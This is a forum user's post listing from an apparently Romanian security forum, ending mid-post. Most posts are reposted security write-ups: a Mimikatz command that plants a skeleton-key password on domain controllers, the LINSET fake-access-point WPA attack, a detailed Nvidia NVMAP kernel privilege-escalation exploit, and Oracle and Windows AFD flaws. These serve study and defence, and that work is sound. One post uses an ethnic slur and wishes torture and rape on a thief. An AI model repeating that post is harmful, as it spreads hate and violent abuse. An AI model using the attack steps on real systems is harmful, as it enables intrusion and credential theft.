Jump to content

Nytro

Administrators
  • Posts

    18725
  • Joined

  • Last visited

  • Days Won

    706

Everything posted by Nytro

  1. Vreau si eu Anti-Cacat, care sa ma scape de posturile astea ale voastre, inutile, penibile si de cacat.
  2. Futu-i natia ma-sii de tigan borat, sa moara in puscarie. I-as taia mainile privindu-l in ochi cum sufera. De ce gatu' ma-sii nu munceste? Spiritul civic ar trebui sa va indemne sa vreti sa ii inchida pe gainarii astia. Asa cum ai patit tu, o sa pateasca si altii, daca nu mai rau. Nota: Unei persoane cunoscute (fata) i s-a pus cutitul la gat ca sa dea telefonul. Tot un recidivist. Grijania ma-sii, sa-l futa aia in cur in puscarie pana ii da sangele pe ochi.
  3. Citeste o carte: http://sferon.dlinkddns.com/Pub/%D0%9B%D0%B8%D1%82%D0%B5%D1%80%D0%B0%D1%82%D1%83%D1%80%D0%B0/Evi%20Nemeth,%20Garth%20Snyder,%20Trent%20R.%20Hein%20-%20UNIX%20and%20Linux%20System%20Administration%20Handbook,%204th%20Edition%20-%202010.pdf @aelius
  4. Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest Microsoft Security, Technical Reference by Sean Metcalf Once an attacker has gained Domain Admin rights to your Active Directory environment, there are several methods for keeping privileged access. Skeleton Key is an ideal persistence method for the modern attacker. More information on Skeleton Key is in my earlier post. Note that the behavior documented in this post was observed in a lab environment using the version of Mimikatz shown in the screenshot. There are likely differences in the Skeleton Key malware documented by Dell SecureWorks and the Mimikatz skeleton key functionality. Mimikatz effectively “patches” LSASS to enable use of a master password with any valid domain user. Rebooting the DC refreshes the memory which removes the “patch”. Implanting the Mimikatz Skeleton Key on one or multiple Domain Controllers: Mimikatz can now inject a skeleton key into LSASS on the Domain Controller by running the following command on the DC: mimikatz.exe “privilege::debug” “misc::skeleton” exit When there are multiple Domain Controllers in an Active Directory site, all of them need the Skeleton Key implant to ensure the skeleton key master password is accepted as the user’s valid password.. Since the client discovers a Domain Controller using DCLocator, the DC the client selects is effectively random. If all the DCs don’t have skeleton key configured, the master password won’t work when the client authenticates to a DC without skeleton key. Scenario: Either the attacker exploits MS14-068 or has the KRBTGT NTLM password hash and uses it to generate a Kerberos Golden Ticket to impersonate a valid Domain Admin account. The attacker leverages the forged Kerberos TGT ticket to access the Domain Controllers via PowerShell remoting. PowerShell remoting runs over WinRM and provides a shell running on the remote computer (much like SSH). In this case, the attacker runs a PowerShell script that uses “invoke-command” to run the mimikatz command on the DCs. Domain Controller Security Events When Implanting the Mimikatz Skeleton Key: When implanting the skeleton key remotely using Mimikatz the following events are logged on the Domain Controller. Event Id 4673 Sensitive Privilege Use, Event 4611: A trusted logon process has been registered with the Local Security Authority. If Process Tracking (logging) is enabled, there are two events that are logged reliably. Event 4688: A new process has been created. Event 4689: A new process has exited. Authenticating with the Mimikatz Skeleton Key: Testing user password and user account with skeleton key password. Note that both passwords are accepted – the valid user password and the skeleton key master password! Testing Domain Admin account with password & skeleton key password. Note that both passwords are accepted – the valid user password and the skeleton key master password! Skeleton Key Mitigation: Protect domain-level admin (DLA) accounts (Domain Admin, Administrators, etc) which reduces the risk of attackers gaining access to these credentials. Don’t let DLA accounts logon to systems at a different security level from Domain Controllers. Don’t let services run as Domain Admin on member servers that aren’t protected at the same level as DCs. Enable smart card authentication for all users. Ensure Domain Controllers have limited connectivity to the network until MS14-068 is patched (kb3011780). The challenge is that the patch has to be applied after DCPromo is complete. Security software that prevents LSASS patching may mitigate the issue. Application whitelisting (ex. AppLocker) can prevent unapproved applications from running on Domain Controllers. Enabling Process Logging on Domain Controllers provides additional data on what applications (exes) are executed on Domain Controllers. Enable LSASS as a protected process on Windows Server 2012 R2 (Mimikatz can bypass with a driver, but that should make some noise in the event logs): The LSA, which includes the Local Security Authority Server Service (LSASS) process, validates users for local and remote sign-ins and enforces local security policies. The Windows 8.1 operating system provides additional protection for the LSA to prevent reading memory and code injection by non-protected processes. This provides added security for the credentials that the LSA stores and manages. To enable LSA protection on a single computer Open the Registry Editor (RegEdit.exe), and navigate to the registry key that is located at: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa. Set the value of the registry key to: “RunAsPPL”=dword:00000001. Restart the computer. To enable LSA protection using Group Policy Open the Group Policy Management Console (GPMC). Create a new GPO that is linked at the domain level or that is linked to the organizational unit that contains your computer accounts. Or you can select a GPO that is already deployed. Right-click the GPO, and then click Edit to open the Group Policy Management Editor. Expand Computer Configuration, expand Preferences, and then expand Windows Settings. Right-click Registry, point to New, and then click Registry Item. The New Registry Properties dialog box appears. In the Hive list, click HKEY_LOCAL_MACHINE. In the Key Path list, browse to SYSTEM\CurrentControlSet\Control\Lsa. In the Value name box, type RunAsPPL. In the Value type box, click the REG_DWORD. In the Value data box, type 00000001. Click OK. Mimikatz bypassing LSA Protection: Sursa: http://adsecurity.org/?p=1275
  5. Dyre Infection Analysis by Alexander Hanel 2014/11/24 Version 1.0 alexander.hanel@gmail.com Executive SummaryIntroduction Family Name Propagation Sample Analyzed Installation Stage 1 stage 2 Stage 3 Stage 4 Stage 5 Stage 6 Stage 7 General Details and Functionality Persistence Registry Service Run Key Dropped Files Service Pipes Mutex Functionality Overview Enumerating processes Process Injection Host IP Retrieval VNC Commands & Configurations Commands & Configurations Error Codes Hooks FireFox Hooks Internet Explorer Hooks Chrome Hooks AntiDetection functionality Disabling RapportGP Command and Control Third Party Resources URLs & IPs Network Traffic Patterns Appendix: Strings Stage 6 Dyre Stage 7 Injected Process Third Party Analysis Executive Summary This document is an analysis of the Dyre banking malware. It is intended to aid in understanding how Dyre executes and interact with the operating system. The targeted audience is malware analyst, reverse engineers, system administrators, incident responders and forensic investigators. Hopefully an individual investigating an incident could use this document to determine if the infection is Dyre or not. Introduction Dyre is banking trojan that first was first seen in June of 2014. In terms of banking malware the family is rather recent. Most organizations and email providers have been hit with a spam campaigns that either links to an exploit kit that drops Drye or have been sent an email with a zip attachment that contains a Dyre executable. This document cover features of the Dyre that I found interesting. Due to the size of the code not all features are covered. The sample I originally started with was an older sample. Newer samples that dropped a service crashed in Download: https://bytebucket.org/Alexander_Hanel/papers/raw/1c41fd1ed30cdd060d18ceddb2d2e52db5134e45/Dyre-Analysis.pdf
  6. Privilege EscalationviaOracle Indexes David Litchfield [david.litchfield@datacom.com.au] 21st January 2015 © Copyright Datacom TSS Datacom TSS Introduction To speed up querying of large datasets most database servers allow table data to be indexed. InOracle, in order to be able to create an index on a table, the user must either own the table, orhave the INDEX object privilege on the table, or have the CREATE ANY INDEX systemprivilege. If a user has either of these privileges, then a security hole is opened up whereby theycan execute arbitrary SQL as the owner of the table by creating a function-based index on thetable. If the table in question is owned by a highly privileged user such as SYS or SYSTEM thenthe database server becomes dangerously exposed as it provides the attacker the ability to fullycompromise the system.The PUBLIC role has (in the past) been granted the INDEX privilege on the following tables,product and options dependant: SYS.DUAL SYS.OLAPTABLEVELS SYS.OLAPTABLEVELTUPLES SYSTEM.OLAP_SESSION_CUBES SYSTEM.OLAP_SESSION_DIMS SYSTEM.PLAN_TABLE FLOWS_FILES.WWV_FLOW_FILE_OBJECT$ TOAD.TOAD_PLAN_TABLE Download: http://www.davidlitchfield.com/Privilege_Escalation_via_Oracle_Indexes.pdf
  7. OpenSSL 1.0.2 The Open Source toolkit for Secure Sockets Layer and Transport Layer Security on GNU/Linux OpenSSL is an open source command-line project based on the excellent SSLeay library created by Tim J. Hudson and Eric A. Young. It is designed as a feature-rich, sturdy and professional-grade toolkit that implements the Secure Sockets Layer (SSL version 2 and 3) and Transport Layer Security (TLS version 1) protocols. Implements a full-strength, general purpose cryptography library OpenSSL can also be used to implement full-strength, general purpose cryptography library, which can be used to create RSA, DSA and DH key parameters, X.509 certificates, CRLs and CSRs, calculate message digests, encrypt and decrypt files with ciphers, handle encrypted email or S/MIME signs, as well as SSL/TLS client and server tests. Integrates numerous commands Numerous commands have been integrated in the OpenSSL toolkit, which are available from its shell prompt. It includes standard, message digest or cipher commands, such as asn1parse, aes-128-cbc, pkeyutl, sha, sha1, md5, md4, rmd160, mdc2, aes-256-cbc, cast5-cbc, camellia-128-cbc, camellia-256-cbc, des-ofb, rc2, bf-cfb, seed, rc4-40, prime, pkcs8, ocsp, enc, dsa, srp, x509, spkac, nseq, crl, s_time, rsa, pkcs7 and crl2pkcs7. It’s managed by a worldwide community of volunteers At the moment, the OpenSSL project is in active development with regular releases. It’s managed by a community of volunteers from all over the world, who use the Internet to plan and develop this extraordinary project that helps us communicate more securely. Supports a wide-range of GNU/Linux operating systems The OpenSSL toolkit is supported on a wide-range of GNU/Linux operating system, including Debian, Ubuntu, Red Hat Enterprise Linux, CentOS, Fedora, Mageia or openSUSE. It’s available for download from its official website or via Softpedia as a source archive that allows you to configure, compile and install the program on any distribution. It can also be easily installed from the default software channels of your Linux distro, supporting both 32-bit and 64-bit architectures. Reviewed by Marius Nestor, last updated on January 23rd, 2015 Sursa: Download OpenSSL 1.0.2 for Linux - Softpedia
      • 1
      • Upvote
  8. LINSET - WPA/WPA2 Hack Without Brute Force Lydecker Black on 7:03 PM How it works Scan the networks. Select network. Capture handshake (can be used without handshake) We choose one of several web interfaces tailored for me (thanks to the collaboration of the users) Mounts one FakeAP imitating the original A DHCP server is created on FakeAP It creates a DNS server to redirect all requests to the Host The web server with the selected interface is launched The mechanism is launched to check the validity of the passwords that will be introduced It deauthentificate all users of the network, hoping to connect to FakeAP and enter the password. The attack will stop after the correct password checking Are necessary tengais installed dependencies, which Linset check and indicate whether they are installed or not. It is also preferable that you still keep the patch for the negative channel, because if not, you will have complications relizar to attack correctly How to use $ chmod +x linset $ ./linset Download LINSET Sursa: LINSET - WPA/WPA2 Hack Without Brute Force | KitPloit
  9. Pentru cei care nu stiu despre ce e vorba: Faceti update la Flash Player!
  10. Adobe has released an advisory regarding an out of band security update for Flash, APSB15-02 1. It is a fix for CVE-2015-0310, which is reserved but for which there is little additional information at the NIST or Mitre sites. Most likely this is the previously reported 0day 2. There are reports that this vulnerability is actively being exploited, and that it is part of a crimeware kit. This would be a highly recommended patch! If you have the Adobe Flash Player installed apply the update. All versions on all platforms appear to be vulnerable. 1- Adobe Security Bulletin 2- https://isc.sans.edu/forums/diary/Flash+0Day+Exploit+Used+by+Angler+Exploit+Kit/19213/ Cheers, Adrien de Beaupré Intru-shun.ca Inc. My SANS teaching schedule Sursa: https://isc.sans.edu/forums/diary/OOB+Adobe+patch/19217/
  11. https://rstforums.com/forum/86639-master-security-bucuresti.rst?highlight=master+sric
  12. Thursday, January 22, 2015 Exploiting NVMAP to escape the Chrome sandbox - CVE-2014-5332 Posted by Lee Campbell, Graphics Pwning Unit [This guest post continues Project Zero’s practice of promoting excellence in security research on the Project Zero blog] Background: Chrome for Android implements a very different sandbox model to that of Chrome for Linux. One of the platform features we make use of is enabled with the android:isolatedProcess attribute on the <service> tag in the app manifest. The docs say: android:isolatedProcess If set to true, this service will run under a special process that is isolated from the rest of the system and has no permissions of its own. The only communication with it is through the Service API (binding and starting). Under the covers this places the specified Android Service into a more restrictive SELinux policy and is what Chrome uses for its renderer processes. All is good so far. Back in September I decided to take a look at how ‘isolated’ this isolatedProcess actually is, and specifically look at the kernel attack surface. As it turns out access to the GPU drivers is not blocked and this blog is the story of exploiting Nvidia’s NVMAP driver on the Nexus 9... What is the NVMAP driver? It’s used for GPU memory management on Nvidia’s Tegra chipsets. It’s used in many Android devices and more recently Chromebooks. You can find the driver code used in the Arm64 Nexus 9 here and the fix is here. Nvidia were very responsive and released an upstream fix within a matter of days—they have recently released their bulletin CVE-2014-5332. Some internals: The entry point is /dev/nvmap with rw-rw-rw- permissions making it accessible by all. There are a number of IOCTLs used to control this driver and they’ll be our focus for exploitation. NVMAP_IOC_CREATE: This ioctl is used to create handles and returns a file descriptor. Handles are allocated globally and stored in struct nvmap_handle. struct nvmap_handle { struct rb_node node;/* entry on global handle tree */ atomic_t ref;/* reference count (i.e., # of duplications) */ atomic_t pin;/* pin count */ u32 flags;/* caching flags */ ... Local client references are maintained by this struct: struct nvmap_handle_ref { struct nvmap_handle *handle; struct rb_nodenode; atomic_tdupes;/* number of times to free on file close */ atomic_tpin;/* number of times to unpin on free */ }; The following code is used to create this structure and allocate the file descriptor. int nvmap_ioctl_create(struct file *filp, unsigned int cmd, void __user *arg) { struct nvmap_create_handle op; struct nvmap_handle_ref *ref = NULL; struct nvmap_client *client = filp->private_data; int err = 0; int fd = 0; if (copy_from_user(&op, arg, sizeof(op))) return -EFAULT; if (!client) return -ENODEV; if (cmd == NVMAP_IOC_CREATE) { ref = nvmap_create_handle(client, PAGE_ALIGN(op.size)); if (!IS_ERR(ref)) ref->handle->orig_size = op.size; } else if (cmd == NVMAP_IOC_FROM_ID) { ref = nvmap_duplicate_handle(client, unmarshal_id(op.id), 0); } else if (cmd == NVMAP_IOC_FROM_FD) { ref = nvmap_create_handle_from_fd(client, op.fd); } else { return -EINVAL; } if (IS_ERR(ref)) return PTR_ERR(ref); fd = nvmap_create_fd(client, ref->handle); if (fd < 0) err = fd; //POINT A op.handle = fd; if (copy_to_user(arg, &op, sizeof(op))) { //POINT B err = -EFAULT; nvmap_free_handle(client, __nvmap_ref_to_id(ref)); } if (err && fd > 0) sys_close(fd); return err; } On successful completion the handle->ref count is 2: one reference held by our client, and one reference held by the DMA subsystem that provided the file descriptor in nvmap_create_fd. This call always returns fd’s starting at 1024, so we can predict them. When the fd returned by the ioctl is closed by user-space the DMA subsystem releases its reference. When the fd to /dev/nvmap is closed the client releases its reference. Once the reference count equals zero the handle structure is free’ed. The bug: If the copy_to_user at point B were to fail then nvmap_free_handle will destroy the client reference and the handle->ref count will drop to 1. sys_close will then be called on the fd and this will release the DMA reference, reducing the handle->ref count to 0 and freeing it. This is the correct operation and no resources are leaked. However, the copy_to_user can be forced to fail by providing a userspace address in Read-Only memory, so the client reference will always be free’ed. Unfortunately a race condition exists at point A where a second user thread can dup(1024) and acquire another handle to the DMA subsystem. Recall fd’s are allocated predictably starting at 1024. This is an easy race to win! The function will continue to call sys_close and return failure. sys_close in this case will not release the DMA reference as user-space now has another handle. Ok that’s great, what now? When operating correctly, two references are held to the handle. Due to triggering the race above, there is now only one. This is a nice state for an attacker as userspace now has a reference to a handle that it can free asynchronously at any time, e.g., during another ioctl call. To trigger the free’ing of the handle struct, userspace can call close() on the dup’ed fd. So now we can free on demand, can we break stuff? This is tricky, we need to win more races. ;-) The ioctl calls take the fd as a reference to the handle. In this case the dup’ed fd can be used to perform operations on the handle in the kernel. Here is an example ioctl: int nvmap_ioctl_getid(struct file *filp, void __user *arg) { struct nvmap_create_handle op; struct nvmap_handle *h = NULL; if (copy_from_user(&op, arg, sizeof(op))) return -EFAULT; h = unmarshal_user_handle(op.handle); //POINT C if (!h) return -EINVAL; h = nvmap_handle_get(h); //POINT D if (!h) return -EPERM; op.id = marshal_id(h); nvmap_handle_put(h); //POINT E return copy_to_user(arg, &op, sizeof(op)) ? -EFAULT : 0; } Most ioctl’s follow this pattern: unmarshal_user_handle - to convert the fd to the address of the handle nvmap_handle_get - this grabs a reference, incrementing handle->ref Do some work nvmap_handle_put - this drops the reference, decrementing handle->ref [*] Although userspace can now asynchronously (in another thread) decrement the handle->ref count and cause a free by calling close there is only a small window to do this. [*] At point C the handle must be valid and close can not be called before this point (or NULL will be returned) [*] At point D another reference is taken on the handle and calling close will not decrement the count to zero, so handle will not be free’ed until point E. [*] So the only place corruption can occur is if userspace frees the handle between points C and D. This race is much more tricky to win as very little happens between these two points. [*] Its made harder as to advance this exploit an attacker not only needs to free the handle but also needs to allocate something controllable in its space. As a result most of the ioctls do not provide enough time between unmarshal_user_handle and nvmap_handle_get to set up an exploitable condition. NVMAP_IOC_RESERVE to the rescue: There is only one viable ioctl where I could generate enough time to create an exploitable condition. The IOC_RESERVE ioctl can be seen here (lots of checks removed for clarity): int nvmap_ioctl_cache_maint_list(struct file *filp, void __user *arg, bool is_reserve_ioctl) { struct nvmap_cache_op_list op; u32 *handle_ptr; u32 *offset_ptr; u32 *size_ptr; struct nvmap_handle **refs; int i, err = 0; if (copy_from_user(&op, arg, sizeof(op))) return -EFAULT; refs = kcalloc(op.nr, sizeof(*refs), GFP_KERNEL); if (!refs) return -ENOMEM; handle_ptr = (u32 *)(uintptr_t)op.handles; offset_ptr = (u32 *)(uintptr_t)op.offsets; size_ptr = (u32 *)(uintptr_t)op.sizes; for (i = 0; i < op.nr; i++) { u32 handle; if (copy_from_user(&handle, &handle_ptr, sizeof(handle))) { err = -EFAULT; goto free_mem; } refs = unmarshal_user_handle(handle); //POINT F if (!refs) { err = -EINVAL; goto free_mem; } } if (is_reserve_ioctl) //POINT G err = nvmap_reserve_pages(refs, offset_ptr, size_ptr, op.nr, op.op); free_mem: kfree(refs); return err; } In this ioctl unmarshal_user_handle is in a loop (point F), which must be completed before the handles are used at point G. The iteration count, and therefore the time spent in the loop, is user-controlled. This can be made fairly large (around 4k) to provide enough time to set up the attack. ref[0] is set to the dup’ed fd. The rest of the refs[] are set to point another fully valid fd (created without the dup race). They can all be the same. While the loop spins ref[0] can be free’ed in another thread at point G. Now we have a stale pointer that is about to be used! nvmap_reserve_pages is then called and is shown here: int nvmap_reserve_pages(struct nvmap_handle **handles, u32 *offsets, u32 *sizes, u32 nr, u32 op) { int i; for (i = 0; i < nr; i++) { u32 size = sizes ? sizes : handles->size; u32 offset = sizes ? offsets : 0; if (op == NVMAP_PAGES_RESERVE) nvmap_handle_mkreserved(handles, offset, size); else nvmap_handle_mkunreserved(handles,offset, size); } if (op == NVMAP_PAGES_RESERVE) nvmap_zap_handles(handles, offsets, sizes, nr); return 0; } By setting op != NVMAP_PAGES_RESERVE nvmap_handle_mkunreserved is called on each handle. This is a NoOp for all handles except handle[0] which has been free’ed. nvmap_handle_mkunreserved is shown here along with its helper functions: static inline void nvmap_handle_mkunreserved(struct nvmap_handle *h, u32 offset, u32 size) { nvmap_handle_mk(h, offset, size, nvmap_page_mkunreserved); } static inline void nvmap_page_mkunreserved(struct page **page) { *page = (struct page *)((unsigned long)*page & ~2UL); } static inline void nvmap_handle_mk(struct nvmap_handle *h, u32 offset, u32 size, void (*fn)(struct page **)) { int i; int start_page = PAGE_ALIGN(offset) >> PAGE_SHIFT; int end_page = (offset + size) >> PAGE_SHIFT; if (h->heap_pgalloc) { for (i = start_page; i < end_page; i++) fn(&h->pgalloc.pages); } } This code uses the pointer h->pgalloc.pages stored in the handle struct. This points to an array of pointers. This array is iterated through and bit two of each pointer is cleared. start_page and end_page are user controlled so the number of pages can be controlled and easily set to one. As the handle has been free’ed there is a momentary opportunity to allocate attacker controlled data in its place and control h->pgalloc.pages This would allow an attacker to clear bit 2 of any word in the system. A lot of work for a single bit clear but I’ll take it Heap groom: The handle struct is 224 bytes and is allocated with kzalloc. This puts it in the 256-kmalloc heap. An attacker needs to find something that allocates quicky, is around 256 bytes long and has controllable content. Seccomp-bpf provides such a facility in the form of seccomp-bpf programs (or filters). I picked seccomp as I use it a lot, but there are many other things in the kernel you could pick. Allocating a filter (sized around 256 bytes) at point G will hopefully reallocate over the free’ed handle struct. The filter is invalid so it is immediately free’ed by seccomp-bpf but its contents will remain long enough for the attack to succeed. So now we control the pointer to a single bit clear! What bit to clear? We now need to find a single bit in the kernel that will provide privilege escalation. Arm64 does not protect its kernel text sections and they are writable by the kernel itself. As such the kernel can modify its own code. So I looked for a nice instruction to modify. Here is a partial disassembly of setuid (Arm64 on the Nexus 9) ffffffc0000c3bcc: 528000e0 mov w0, #0x7 ffffffc0000c3bd0: f9400821 ldr x1, [x1,#16] ffffffc0000c3bd4: f9424034 ldr x20, [x1,#1152] ffffffc0000c3bd8: 97ffcd8f bl ffffffc0000b7214 <nsown_capable> ffffffc0000c3bdc: 53001c00 uxtb w0, w0 //Point H ffffffc0000c3be0: 35000280 cbnz w0, ffffffc0000c3c30<SyS_setuid+0xa8>//POINT I ffffffc0000c3be4: b9400680 ldr w0, [x20,#4] ffffffc0000c3be8: 6b0002bf cmp w21, w0 and the C version: SYSCALL_DEFINE1(setuid, uid_t, uid) { // [.....] retval = -EPERM; if (nsown_capable(CAP_SETUID)) { //POINT J new->suid = new->uid = kuid; if (!uid_eq(kuid, old->uid)) { retval = set_user(new); if (retval < 0) goto error; } } else if (!uid_eq(kuid, old->uid) && !uid_eq(kuid, new->suid)) { goto error; } // [....] return commit_creds(new); error: abort_creds(new); return retval; } If we can make the condition at point J return non-zero then it would be as if the processes has CAP_SETUID and the attacker could call setuid(0) and elevate to root. The asm code at point H is where this condition is evaluated. uxtb w0,w0 just extends the byte value in w0 to a full word and stores it back in w0 At point I the branch is taken if w0 is non-zero, this is the branch the attacker would like to take to gain privilege. The byte code for uxtb w0,w0 is 0x53001c00. Using the clear bit primitive from above we can change this word to 0x51001c00. This results in the new instruction sub w0,w0,#7. Now w0 will contain the non-zero value -7 and it will appear as if CAP_SETGID is set. Now we just call setuid(0) and we are root. Easy as that! Winning the race: There are a number of races in this attack and the probability of success (i.e., them all landing perfectly) is quite low. That said, a lose is non-fatal (for the most part) so an attacker can just keep trying until setuid(0) returns success. On a real system this attack takes many thousands of attempts but usually gains root in less than 10 seconds. Posted by Chris Evans at 12:01 PM Sursa: http://googleprojectzero.blogspot.ro/2015/01/exploiting-nvmap-to-escape-chrome.html
  13. NU. Mergi la SRIC (Securitatea Retelelor Informatice Complexe) la Poli. Citeste conditiile lor de admitere: intri acolo, nu mai iesi, esti sclavul lor. Daca vor sa te trimita la Suceava, mergi acolo, tot felul de cacaturi. Cauta pe forum ca postasem eu mai multe despre asa ceva.
  14. Oare cand o sa dispara porcaria asta de Flash? Pacat ca sunt inca o gramada de site-uri care folosesc asa ceva...
  15. Klaus Iohannis
  16. O sa mai dureze ceva pana iese de la Samsung. Si-a mai instalat cineva?
  17. CVE-2012-0148: A Deep Dive Into AFD Posted by Tarjei Mandt This week, Microsoft addressed two vulnerabilities in the Ancillary Function Driver (AFD) that could allow non-privileged users to elevate their privileges to SYSTEM. In this blog entry, we look at one of the patched vulnerabilities and demonstrate practical exploitability against x64 Windows 7 using the techniques presented at INFILTRATE 2011 on modern kernel pool exploitation. Introduction The Ancillary Function Driver (AFD) is the kernel management layer of the Windows Sockets interface. As with many other popular operating systems, Windows and AFD manages network connection endpoints as sockets. The socket paradigm was adapted for Windows in Windows Sockets 1.1, and supported the most basic functionality traditionally found in BSD. The main goal behind this design was to make it easy for Unix developers to port their existing network aware applications to the Windows platform. Microsoft later introduced the Windows Sockets 2 architecture, compliant with the Windows Open System Architecture. Winsock 2.0 defines a standard service provider between the application programming interface (API), with its functions exported from WS2_32.dll and the protocol stacks. This allows Winsock 2.0 to support multiple transport protocols, whereas Winsock 1.1 is limited to TCP/IP only. Over the Winsock standard, Windows also includes additional extensions to primarily enhance performance (e.g. TransmitFile) and conserve use of memory and processing such as in providing the ability to reuse sockets (e.g. supported by ConnectEx and AcceptEx). Winsock Architecture The Winsock architecture is divided into a user-mode and kernel-mode layer. At the highest level, applications interact with the Windows Sockets API (ws2_32.dll), which offer familiar functions such as bind, listen, send, and recv. These functions call into a suitable provider, either defined by the system or by an application. For instance, VMCI sockets can be used by VMware virtual machines to communicate with other virtual machines. Here, the VMCI provider (installed by VMware Tools) calls in to the VMCI socket library (vsocklib.dll) which then calls into the VMCI driver (vmci.sys) responsible for managing and calling out to the host/other virtual machines. Similarly, Windows registers a provider for the Winsock API (mswsock.dll) for its natively supported protocols such as TCP and UDP. Winsock then operates through the Ancillary Function Driver (afd.sys) to perform the necessary socket management and callouts to TCP/IP. Although the networking architecture in Windows changed notably in Windows Vista, the way applications interact with the Windows Sockets API and their interaction with AFD remains largely the same. Winsock Architecture Socket Management The Ancillary Function Driver, or afd.sys, is responsible for creating and managing socket endpoints in Windows. Internally, Windows represents a socket as a file object, with additional attributes defined to keep track of state information such as whether a connection has been established or not. This allows applications to use standard read and write APIs on socket handles to access and transmit network data. When AFD is first initialized, it creates the AFD device (in turn accessed by Winsock applications) and sets up the associated driver object IRP handlers. When an application first creates a socket, the IRP_MJ_CREATE routine (afd!AfdCreate) is called to allocate an endpoint data structure (afd!AfdAllocateEndpoint). This is an opaque structure that defines every unique attribute of each endpoint as well as the state it is in (e.g. whether it is connecting, listening, or closing). AFD functions operating on the endpoint structure (e.g. the send and receive functions) will typically validate the endpoint state before proceeding. Additionally, a pointer to the endpoint data structure itself is stored in the FsContext field of the socket file object such that AFD can easily locate the socket management data. AFD also keeps track of all endpoints through a doubly linked list (afd!AfdEndpointsList), such as for determining whether an address has already been bound. The majority of the functionality found within AFD is accessed through the device I/O control handler. AFD also provides fast device I/O control routines in order to service requests which can be satisfied directly from the cache manager and don’t require an IRP to be generated. AFD will attempt to use the fast I/O dispatch routines whenever possible, particularly when reading and writing network data. However, in some situations where more extensive processing is needed, it will fall back to the regular IRP-based mechanism. An example of this is whenever the size of a datagram exceeds 2048 bytes, or when a connection (endpoint) isn’t in the expected state. When looking at functions in AFD, particularly those called by the dispatch I/O control routine, it is important to pay attention to the validation being made immediately to the request. In fact, looking over most functions in AFD, one may repeatedly notice validation (compares) against constants such as 0xAFD0, 0xAFD1, 0xAFD2, and so on. These are constants describing the state of the active socket endpoint/connection and are stored in the very first 16-bit field of the endpoint data structure. For instance, 0xAFD1 indicates an endpoint representing a datagram socket while 0xAFD0, 0xAFD2, 0xAFD4, and 0xAFD6 indicate endpoints representing TCP sockets in various states. AFD!AfdPoll Integer Overflow Vulnerability (CVE-2012-0148) The Windows Sockets API allows applications to query the status of one or more sockets through the select function. These requests are handled internally by the AFD.SYS driver in the afd!AfdPoll function (internally calls afd!AfdPoll32 or afd!AfdPoll64 depending on the process that made the I/O request), and are processed whenever the AFD device is issued the 0×12024 I/O control code. This function processes a user-supplied poll information (AFD_POLL_INFO) buffer that contains all the records (AFD_HANDLE) for the sockets to query. The definitions of these structures are listed below (based on ReactOS). [TABLE] [TR] [TD=class: number]1[/TD] [TD=class: content]typedef struct _AFD_HANDLE_ {[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]2[/TD] [TD=class: content] SOCKET Handle;[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]3[/TD] [TD=class: content] ULONG Events;[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]4[/TD] [TD=class: content] NTSTATUS Status;[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]5[/TD] [TD=class: content]} AFD_HANDLE, *PAFD_HANDLE;[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]6[/TD] [TD=class: content][/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]7[/TD] [TD=class: content]typedef struct _AFD_POLL_INFO {[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]8[/TD] [TD=class: content] LARGE_INTEGER Timeout;[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]9[/TD] [TD=class: content] ULONG HandleCount;[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]10[/TD] [TD=class: content] ULONG Exclusive;[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]11[/TD] [TD=class: content] AFD_HANDLE Handles[1];[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]12[/TD] [TD=class: content]} AFD_POLL_INFO, *PAFD_POLL_INFO;[/TD] [/TR] [/TABLE] Upon receiving this data, AFD calls afd!AfdPollGetInfo to allocate a second buffer (from the non-paged pool) to aid in storing information returned as the individual sockets are queried. Specifically, each AFD_HANDLE record is denoted its own AFD_POLL_ENTRY record in this internal buffer structure (which we call AFD_POLL_INTERNAL).We describe these opaque structures as follows. [TABLE] [TR] [TD=class: number]1[/TD] [TD=class: content]typedef struct _AFD_POLL_ENTRY {[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]2[/TD] [TD=class: content] PVOID PollInfo;[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]3[/TD] [TD=class: content] PAFD_POLL_ENTRY PollEntry;[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]4[/TD] [TD=class: content] PVOID pSocket;[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]5[/TD] [TD=class: content] HANDLE hSocket;[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]6[/TD] [TD=class: content] ULONG Events;[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]7[/TD] [TD=class: content]} AFD_POLL_ENTRY, *PAFD_POLL_ENTRY;[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]8[/TD] [TD=class: content][/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]9[/TD] [TD=class: content]typedef struct _AFD_POLL_INTERNAL {[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]10[/TD] [TD=class: content] CHAR Unknown[0xB8];[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]11[/TD] [TD=class: content] AFD_POLL_ENTRY PollEntry[1];[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]12[/TD] [TD=class: content]} AFD_POLL_INTERNAL, *PAFD_POLL_INTERNAL;[/TD] [/TR] [/TABLE] Before processing the user-supplied buffer (AFD_POLL_INFO) to query each individual socket, afd!AfdPoll ensures that the buffer is large enough to fit the number of records indicated by the HandleCount value. If the size is too small, the function returns with an insufficient size error. While this prevents user-mode code from passing bogus HandleCount values, it does not account for the fact that the size of the records allocated internally by the AfdPoll function exceeds that of the provided poll information buffer. For instance, on Windows 7 x64 the size of an AFD_HANDLE entry is 0×10 bytes, while the size of the corresponding entry allocated internally (AFD_POLL_ENTRY) is 0×28. An additional 0xB8 bytes is also added to store metadata 